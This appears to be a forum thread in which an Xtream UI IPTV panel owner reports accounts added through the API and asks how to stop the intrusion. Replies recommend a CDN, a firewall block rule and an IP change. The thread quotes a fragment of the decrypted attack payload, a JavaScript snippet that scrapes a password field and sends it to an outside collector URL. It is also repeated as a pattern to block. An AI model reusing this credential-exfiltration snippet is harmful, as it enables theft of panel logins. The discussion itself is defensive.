Question Xtream UI api user hack

[MorpheusL]

Hello,

Someone add few user account to panel, in reseller log writte [API-New Line], but user that added to panel not have member_id.
I find this one exploit:

To view the content, you need to Sign In or Register.

Any suggestion?

 

[Robin-Hood]

Hi;

First of all I recommend putting your domain on a CDN network, normally it already handles most sql injection attempts.
Through the CDN firewall you can also block any url that contains '+r.match(/streaming_pas.*value= "(.*)"/)[1])}.
This will block that attack specifically.
As the attacker already knows your IP because you didn't put it on a CDN before, I recommend you change your IP too, otherwise all this won't do any good.

Good luck!

 

[ddmmyy]

Hello,

Someone add few user account to panel, in reseller log writte [API-New Line], but user that added to panel not have member_id.
I find this one exploit: 'https://aozpeldo.alwaysdata.net/a.php?c='+r.match(/streaming_pas.*value="(.*)"/)[1])}

Any suggestion?

But URL you provide its not Xtream URL ? Show us complete url if you can. Thanks

 

[MorpheusL]

Hi;

First of all I recommend putting your domain on a CDN network, normally it already handles most sql injection attempts.
Through the CDN firewall you can also block any url that contains '+r.match(/streaming_pas.*value= "(.*)"/)[1])}.
This will block that attack specifically.
As the attacker already knows your IP because you didn't put it on a CDN before, I recommend you change your IP too, otherwise all this won't do any good.

Good luck!

Thanks a lot for suggestion, any suggestion about good CDN?

But URL you provide its not Xtream URL ? Show us complete url if you can. Thanks

I do not have all i only decrypt this.

 

[Robin-Hood]

Thanks a lot for suggestion, any suggestion about good CDN?


I do not have all i only decrypt this.

I like CloudFlare.

 

[MorpheusL]

I like CloudFlare.

What port i can use it on cloudflare only 80?
Do you pay for premium plans?

 

[Robin-Hood]

What port i can use it on cloudflare only 80?
Do you pay for premium plans?

Network ports

Learn which network ports Cloudflare proxies by default and how to enable Cloudflare's proxy for additional ports.

developers.cloudflare.com

Can use free plan.

 

[40error]

Do you pay for premium plans?